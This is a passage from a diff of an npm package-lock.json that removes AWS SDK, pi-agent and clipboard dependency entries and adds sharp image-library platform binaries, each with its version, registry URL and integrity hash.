"@aws-sdk/nested-clients": "^3.997.11", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/types": { - "version": "3.973.9", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.973.9.tgz", - "integrity": "sha512-kuBfgQVdcz5Bmapc4A13YbpVw/pXkesfhetcFYwbntqas8sF41OHyd4o28+/TG2ZQdHBsv90Lsu5y6oitvYCdg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/util-locate-window": { - "version": "3.965.5", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-locate-window/-/util-locate-window-3.965.5.tgz", - "integrity": "sha512-WhlJNNINQB+9qtLtZJcpQdgZw3SCDCpXdUJP7cToGwHbCWCnRckGlc6Bx/OhWwIYFNAn+FIydY8SZ0QmVu3xTQ==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/xml-builder": { - "version": "3.972.25", - "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.25.tgz", - "integrity": "sha512-GH+Kjz4nPKWKHnsiQpnhP1MJdTGIcK4rAka6tzakgjjUkVgNsmPeEbbRAf09SzS1hjGu6duGHCBsxYke0BhHjQ==", - "license": "Apache-2.0", - "dependencies": { - "@nodable/entities": "2.1.0", - "@smithy/types": "^4.14.2", - "fast-xml-parser": "5.7.3", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws/lambda-invoke-store": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.2.4.tgz", - "integrity": "sha512-iY8yvjE0y651BixKNPgmv1WrQc+GZ142sb0z4gYnChDDY2YqI4P/jsSopBWrKfAt7LOJAkOXt7rC/hms+WclQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=18.0.0" - } - }, "node_modules/@babel/runtime": { "version": "7.29.2", "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz", @@ -554,124 +160,6 @@ "node": ">= 20.12.0" } }, - "node_modules/@earendil-works/pi-agent-core": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-agent-core/-/pi-agent-core-0.75.5.tgz", - "integrity": "sha512-LHygOgsW2pgXKb3IkXkOAeZPovHr9VF+EixgXVsDNuB4jmhEOXgshy/zksZ7slkUAx10OQ9W1Ed/2jsnhd1NqA==", - "license": "MIT", - "dependencies": { - "@earendil-works/pi-ai": "^0.75.5", - "ignore": "7.0.5", - "typebox": "1.1.38", - "yaml": "2.9.0" - }, - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/@earendil-works/pi-ai": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-ai/-/pi-ai-0.75.5.tgz", - "integrity": "sha512-zf1F5kXk1pqZeFShXOqq9ibUk8QdtRoLCDPAjO+hj44e3EUs9/GFO2qnhTC5+JA2uwVCx+WCNe1PiCjlBYWm5w==", - "license": "MIT", - "dependencies": { - "@anthropic-ai/sdk": "0.91.1", - "@aws-sdk/client-bedrock-runtime": "3.1048.0", - "@google/genai": "1.52.0", - "@mistralai/mistralai": "2.2.1", - "@smithy/node-http-handler": "4.7.3", - "http-proxy-agent": "7.0.2", - "https-proxy-agent": "7.0.6", - "openai": "6.26.0", - "partial-json": "0.1.7", - "typebox": "1.1.38" - }, - "bin": { - "pi-ai": "dist/cli.js" - }, - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/@earendil-works/pi-ai/node_modules/@google/genai": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/@google/genai/-/genai-1.52.0.tgz", - "integrity": "sha512-gwSvbpiN/17O9TbsqSsE/OzZcpv5Fo4RQjdngGgogtuB9RsyJ8ZHhX5KjHj1bp5N9snN2eK8LDGXSaWW2hof8Q==", - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "google-auth-library": "^10.3.0", - "p-retry": "^4.6.2", - "protobufjs": "^7.5.4", - "ws": "^8.18.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "@modelcontextprotocol/sdk": "^1.25.2" - }, - "peerDependenciesMeta": { - "@modelcontextprotocol/sdk": { - "optional": true - } - } - }, - "node_modules/@earendil-works/pi-ai/node_modules/openai": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/openai/-/openai-6.26.0.tgz", - "integrity": "sha512-zd23dbWTjiJ6sSAX6s0HrCZi41JwTA1bQVs0wLQPZ2/5o2gxOJA5wh7yOAUgwYybfhDXyhwlpeQf7Mlgx8EOCA==", - "license": "Apache-2.0", - "bin": { - "openai": "bin/cli" - }, - "peerDependencies": { - "ws": "^8.18.0", - "zod": "^3.25 || ^4.0" - }, - "peerDependenciesMeta": { - "ws": { - "optional": true - }, - "zod": { - "optional": true - } - } - }, - "node_modules/@earendil-works/pi-coding-agent": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-coding-agent/-/pi-coding-agent-0.75.5.tgz", - "integrity": "sha512-O3CCQDYy28D4uwtP6zZkdEwzHN6X22v49Sb0+SZTC7x37V/YfmogrWPiaFoWeoc2hmdKhSATI7ZAK5bQbJG5NA==", - "license": "MIT", - "dependencies": { - "@earendil-works/pi-agent-core": "^0.75.5", - "@earendil-works/pi-ai": "^0.75.5", - "@earendil-works/pi-tui": "^0.75.5", - "@silvia-odwyer/photon-node": "0.3.4", - "chalk": "5.6.2", - "cross-spawn": "7.0.6", - "diff": "8.0.4", - "glob": "13.0.6", - "highlight.js": "10.7.3", - "hosted-git-info": "9.0.3", - "ignore": "7.0.5", - "jiti": "2.7.0", - "minimatch": "10.2.5", - "proper-lockfile": "4.1.2", - "typebox": "1.1.38", - "undici": "8.3.0", - "yaml": "2.9.0" - }, - "bin": { - "pi": "dist/cli.js" - }, - "engines": { - "node": ">=22.19.0" - }, - "optionalDependencies": { - "@mariozechner/clipboard": "0.3.6" - } - }, "node_modules/@earendil-works/pi-tui": { "version": "0.75.5", "resolved": "https://registry.npmjs.org/@earendil-works/pi-tui/-/pi-tui-0.75.5.tgz", @@ -685,6 +173,16 @@ "node": ">=22.19.0" } }, + "node_modules/@emnapi/runtime": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.10.0.tgz", + "integrity": "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, "node_modules/@google/genai": { "version": "2.6.0", "resolved": "https://registry.npmjs.org/@google/genai/-/genai-2.6.0.tgz", @@ -772,6 +270,472 @@ "hono": "^4" } }, + "node_modules/@img/colour": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz", + "integrity": "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/@img/sharp-darwin-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.34.5.tgz", + "integrity": "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-darwin-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.34.5.tgz", + "integrity": "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-libvips-darwin-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.2.4.tgz", + "integrity": "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-darwin-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.2.4.tgz", + "integrity": "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.2.4.tgz", + "integrity": "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==", + "cpu": [ + "arm" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.2.4.tgz", + "integrity": "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-ppc64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.2.4.tgz", + "integrity": "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==", + "cpu": [ + "ppc64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-riscv64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.2.4.tgz", + "integrity": "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==", + "cpu": [ + "riscv64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-s390x": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.2.4.tgz", + "integrity": "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==", + "cpu": [ + "s390x" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.2.4.tgz", + "integrity": "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.2.4.tgz", + "integrity": "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.2.4.tgz", + "integrity": "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-linux-arm": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.34.5.tgz", + "integrity": "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==", + "cpu": [ + "arm" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.34.5.tgz", + "integrity": "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-ppc64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.34.5.tgz", + "integrity": "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==", + "cpu": [ + "ppc64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-ppc64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-riscv64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.34.5.tgz", + "integrity": "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==", + "cpu": [ + "riscv64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-riscv64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-s390x": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.34.5.tgz", + "integrity": "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==", + "cpu": [ + "s390x" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-s390x": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.34.5.tgz", + "integrity": "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-linuxmusl-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.34.5.tgz", + "integrity": "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-linuxmusl-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.34.5.tgz", + "integrity": "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-wasm32": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.34.5.tgz", + "integrity": "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==", + "cpu": [ + "wasm32" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT", + "optional": true, + "dependencies": { + "@emnapi/runtime": "^1.7.0" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.34.5.tgz", + "integrity": "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-ia32": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.34.5.tgz", + "integrity": "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==", + "cpu": [ + "ia32" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.34.5.tgz", + "integrity": "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, "node_modules/@isaacs/fs-minipass": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/@isaacs/fs-minipass/-/fs-minipass-4.0.1.tgz", @@ -876,185 +840,6 @@ "win32" ] }, - "node_modules/@mariozechner/clipboard": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard/-/clipboard-0.3.6.tgz", - "integrity": "sha512-MXdtr+6+ntlIVHdrZYuZNQydu6o8yZswFJ2Ln81j2O/Y9B/LDHvEaIm95xWNPkjGTWriSOeLnQJRFs6dYb60bg==", - "license": "MIT", - "optional": true, - "engines": { - "node": ">= 10" - }, - "optionalDependencies": { - "@mariozechner/clipboard-darwin-arm64": "0.3.6", - "@mariozechner/clipboard-darwin-universal": "0.3.6", - "@mariozechner/clipboard-darwin-x64": "0.3.6", - "@mariozechner/clipboard-linux-arm64-gnu": "0.3.6", - "@mariozechner/clipboard-linux-arm64-musl": "0.3.6", - "@mariozechner/clipboard-linux-riscv64-gnu": "0.3.6", - "@mariozechner/clipboard-linux-x64-gnu": "0.3.6", - "@mariozechner/clipboard-linux-x64-musl": "0.3.6", - "@mariozechner/clipboard-win32-arm64-msvc": "0.3.6", - "@mariozechner/clipboard-win32-x64-msvc": "0.3.6" - } - }, - "node_modules/@mariozechner/clipboard-darwin-arm64": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-darwin-arm64/-/clipboard-darwin-arm64-0.3.6.tgz", - "integrity": "sha512-HjaisYCAbHi/1+N1yDAQHc8ZXGffufIUT5NSOSVR3f3AuMDusxTtnbK8tZ7JFDkShua1oNGZoNwQHsc8MPtE0Q==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-darwin-universal": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-darwin-universal/-/clipboard-darwin-universal-0.3.6.tgz", - "integrity": "sha512-8BWtPjOtJOJoykml3w0fx0zRrfWP31mXrJwfoA7xzNprkZw1uolCNfgmjDiVBseoKjp16EGITz7bN+61qn8dWA==", - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-darwin-x64": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-darwin-x64/-/clipboard-darwin-x64-0.3.6.tgz", - "integrity": "sha512-p9syiZD1kU4I+1ya7f7g+zD1GiUvR8fdlRlNmgsZNWlyjtc8rlV2EjTLd/35x1LsdBq020GVvtzp0ZmPgBI09Q==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-linux-arm64-gnu": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-linux-arm64-gnu/-/clipboard-linux-arm64-gnu-0.3.6.tgz", - "integrity": "sha512-5JFf5rGofrm+V29HNF+wLthXphHdQpMbKDUYJ5tML6/Z5DLlLOV/9Ak4kDPtYyZ+Dzf+kAusE0VsFg4+tfP1IA==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-linux-arm64-musl": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-linux-arm64-musl/-/clipboard-linux-arm64-musl-0.3.6.tgz", - "integrity": "sha512-JlVjxxw0GbGC0djXYWRIqyteO3J1KZ/QG3udlEFaOD5TLOM1FnmXXAPDQBqr+aBVr720ef9K00dirYnJ0LDCtw==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-linux-riscv64-gnu": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-linux-riscv64-gnu/-/clipboard-linux-riscv64-gnu-0.3.6.tgz", - "integrity": "sha512-4t8BUi5zZ+L77otFQVnVSlaTyAX4TVk9EqQm4syMrEQp96trFEHEwwNHcNEBGzYv5+K7mxay50TthYkz47OWzQ==", - "cpu": [ - "riscv64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-linux-x64-gnu": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-linux-x64-gnu/-/clipboard-linux-x64-gnu-0.3.6.tgz", - "integrity": "sha512-trtPwcNLW37irwQCJLtCxLw757jjJZk3TSnY/MU9bhtWtA3K9b/eLW0e4RGhUXDoFRds9opNWWaUDuFLa8dm0w==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-linux-x64-musl": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-linux-x64-musl/-/clipboard-linux-x64-musl-0.3.6.tgz", - "integrity": "sha512-WfnzIvOCCWQiN0MmltCEo6cLceUDbYe+I7xyFZjaps5A+2Op/M2CY7Rey+C4ucQhrvmpoHmTSFgY9ODWk7snoA==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-win32-arm64-msvc": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-win32-arm64-msvc/-/clipboard-win32-arm64-msvc-0.3.6.tgz", - "integrity": "sha512-+8+1aHYsBPUjmW3otmWlg+Hijt0iJvoBBs5e0mxFeUd4gDaKMB8Bn6x7c6KVtscg7E5j5NFXnwQqNSIAO4p8zQ==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@mariozechner/clipboard-win32-x64-msvc": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@mariozechner/clipboard-win32-x64-msvc/-/clipboard-win32-x64-msvc-0.3.6.tgz", - "integrity": "sha512-S4xfPmERC8ZkiLHe3vekZCjdDwNEETCuvCgQK2kP6/TnvmUkq1y2Pk+DjM4t8uh9KMX9bH4zs5ePcKa8GTXmfg==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, "node_modules/@mistralai/mistralai": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/@mistralai/mistralai/-/mistralai-2.2.1.tgz", @@ -1365,18 +1150,6 @@ "url": "https://github.com/sponsors/Brooooooklyn" } }, - "node_modules/@nodable/entities": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-2.1.0.tgz", - "integrity": "sha512-nyT7T3nbMyBI/lvr6L5TyWbFJAI9FTgVRakNoBqCD+PmID8DzFrrNdLLtHMwMszOtqZa8PAOV24ZqDnQrhQINA==", - "funding": [ - { - "type": "github", - 